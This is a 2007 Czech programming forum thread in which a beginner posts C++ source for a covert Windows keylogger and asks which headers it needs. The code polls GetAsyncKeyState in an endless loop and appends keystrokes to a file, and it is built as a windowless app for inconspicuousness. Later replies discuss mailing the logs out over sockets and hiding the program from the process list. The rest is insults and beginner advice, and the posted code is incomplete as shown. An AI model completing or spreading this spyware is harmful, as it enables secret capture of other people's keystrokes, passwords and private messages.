| Prosím, jaké knihovny by se měly doplnit do tohoto skriptu : tipuju jen windows.h
#include #
#include #
using namespace std;//Datovy typ string se nam bude hodit
void klavesa(int key){
string prd;
ofstream out(".\\key.txt",ios::app);//oteviram datovy stream pro zapis na konec souboru
prd = vkctostring(key);//konvertuju virtual key code klavesy do rozumneho tvaru(slovni chrakterizaci klavesy ci odpovidajici ascii hodnoty)
out << prd;//zapisuji do streamu
}
int WINAPI WinMain (HINSTANCE instance, HINSTANCE previous, LPSTR commandline, int show)//Psano jako winaplikace, dos prompt okno na nenapadnosti neprida
{
int key;
while(1){ //nekonecne cyklim
for(key=8;key<=190;key++){//projizdim vsechny myslitelne keykody
if (GetAsyncKeyState(key) == -32767)klavesa(key);//kdyz je stlacena klavesa s dannym keycodem predaam ho funkci klavesa() pro dalsi zpracovani
}
}
return (0);
}
(odpovědět) | Měsíc | 85.207.199.* | 26.11.2007 9:38 |
|
|
|
| 1) ten zdrojak prepis, protoze to je hrozna prasarna
2)windows.h
3)string
4)kdyby jsi nebyl idiot, das tam iostream a nemusis se zbytecne srat s kravinama a usetril by jsi par radku.
----------
Frontis nulla fides. (odpovědět) | |
|
|
| Idiot nejsem, našel jsem si už přepsanej (tenhle je odsud s user texts a jinak chápej, že se teprve učím. (odpovědět) | Měsíc | 85.207.199.* | 26.11.2007 12:14 |
|
|
|
| Je rozdíl dívat se, jak to dělají jiní, a obšlehávat.
Jinak nechápu, proč to prostě nezkusíš zkompilovat. Pokud windows.h stačí, tak se přeloží, pokud nestačí, dozvíš se to. Na co se ptát? (odpovědět) | gugumaa | 195.113.79.10/10.0.10.* | 26.11.2007 13:50 |
|
|
|
| windows.h - je jasný.
string - používáš objekt string!
fstream - používáš objekt ofstream!
... a pokud můžu poradit, prvně si přečti něco o těch objektech, který ve zdrojáku používáš (string, ofstream)a pak je tam používej :-) něco jako v který hlavičkový soubor kvůli nim potřebuješ je to nejzákladnejší...
----------
Get enlightened! (odpovědět) | |
|
|
| jak sluduju uzivatele "Měsíc" tak je to peknej debil , otazky tohoto typu mi lezou na nervy.. (odpovědět) | Aton | | 26.11.2007 15:35 |
|
|
|
| Díky, srry, že nejsem tak "chytrej jako ty" .. hodnotit, tě nebudu, ale věř, že mě zas lezou na nervy odpovědi typu co zde tlačíš ty. (odpovědět) | Měsíc | 85.207.199.* | 26.11.2007 18:41 |
|
|
|
| Mesic: jo, treba se teprve ucis, ale mel by jsi se zamyslet nad tim, zda-li by nebylo lepsi se C++ teprve naucit a az pak se do neceho poustet. Navic te nechapu. V jednom dotazu se ptas na SQL injection a ve druhem se ptas na tohle. Zamer se na jednu vec. Navic nemas pravo se tady rozcilovat. Kdyz te nekdo posle do /dev/null, tak se nediv. Tohle jsou dementni dotazy, na ktere ti odpovi strejda google behem deseti vterin. Nauc se hledat a pak se ptej. Pokud napises, ze uz jsi hledal, tak hledat neumis.
----------
Frontis nulla fides. (odpovědět) | |
|
|
| Naučit se číst je základní věc cituji myslím, ze 3 příspěvku : našel jsem si už přepsanej ...
hledat umím, hold až potom co něco plácnu, ale reakce jaký zde byly to je slabě přes 256 .. (odpovědět) | Měsíc | 85.207.199.* | 26.11.2007 19:34 |
|
|
|
| Atone premyslej nad tim co rikas. Ne kazdy je dokonaly jako ty. bohuzel ... (odpovědět) | sLa | 89.103.37.* | 26.11.2007 20:22 |
|
|
|
| Měsíc: ano, našel sis už přepsanej, ale chce to hledat dál (např. ty knihovny: když kompiluješ, tak ti to hodí error u nějakého fce - hned máš bod pro hledání)...když máš pocit, že pořádně nezvládáš, není hamba si pročíst tutoriály
(odpovědět) | Rift_ | 212.96.190.* | 26.11.2007 21:10 |
|
|
|
| Do těch usertext jsem daval tuhle cast kodu : while(1){ //nekonecne cyklim
for(key=8;key<=190;key++){//projizdim vsechny myslitelne keykody
if (GetAsyncKeyState(key) == -32767)
Ovsem ted je trochu upravena .. Nemyslim , ze moc povedene , je to cast zdrojaku z Irongeek ;)
Navazovala na ni cast s rozhodně bych řekl jednodušším zapisováním do souboru a posláním na mail pomocí socketů. Do WinApi to sice mas prepsany ale to DOS prompt okno bylo dle me lepsi , jelikoz bylo zneviditelnene ;) Ovsem nekoukal jsem jestli je videt ve vypisu procesu :( Se jeste podivam.. To by se ale urcite taky dalo poresit;)
----------
Niemand ist so gut,wie er denkt ;) (odpovědět) | |
|
|
| OT: zamysli se nad temi komentari v kodu...
"nekonecne cyklim" (odpovědět) | HC | 90.183.61.* | 28.11.2007 12:41 |
|
|
|
| komentare si doplnil Měsíc... ty tam nebyly ;) ja se ridil komenty v aj
----------
Niemand ist so gut,wie er denkt ;) (odpovědět) | |
|
|
| necetl jsem vsechny prispevky protoze vase arogantni komentare jsou tak akorat abyste nasrali co nejvic lidi....jen jsem chtel toto, mozna to nekde vys je :
Měsíc : Woe,jestli neumis ani doplnit spravny knihovny/zkompilovat a nerika ti nic "vyvojovy cyklus" tak se vrat uplne na zacatek a zacni s tema nejjednodusima prikladama, ciste jen konsolovy aplikace kde ti staci naincludovat iostream... ;) (odpovědět) | cP | 213.250.246.* | 28.11.2007 16:01 |
|
|
|
| samozřejmě, že jsem se za ty 4 dny toho naučil habaděj : strukturu knihoven , cykly a pokročilé základy konzolových aplikací ;) , vidíte stačí člověka nakopnout ;ú (odpovědět) | Měsíc | 85.207.199.* | 28.11.2007 16:37 |
|
|
|
| ROFL tomu rikas "skript"? Tohle je C++ tyve. (odpovědět) | Harvie. | 213.220.241.* | 28.11.2007 20:04 |
|
|
|
| Jen tak bokem tohle není můj "skript" to je skriptík, který zde publikujete vy ;) viz sekce user text, tak nadávání do lam si laskavě nechte pro sebe ;) (odpovědět) | Měsíc | 85.207.199.* | 28.11.2007 21:40 |
|
|
|
| Měsíc: do user text může přispět kdokoliv, když se tam objeví něco, tak za to nemůžou všichni :) (odpovědět) | Rift_ | 212.96.190.* | 29.11.2007 7:17 |
|
|
|
| Měsic: hm, 4 dny...az v tom budes delat 4 roky, mozna uz i neco naprogramujes a ten kod nebude hrozna prasarna. A mozna, ze se i naucis includovat i nejake knihovny ;)
----------
Frontis nulla fides. (odpovědět) | |
|
|
| se stalo ... stačí chtít ;) viz .. Mistrovství v c++ a Myslíme v c (odpovědět) | Měsíc | 85.207.199.* | 30.11.2007 18:01 |
|
|
|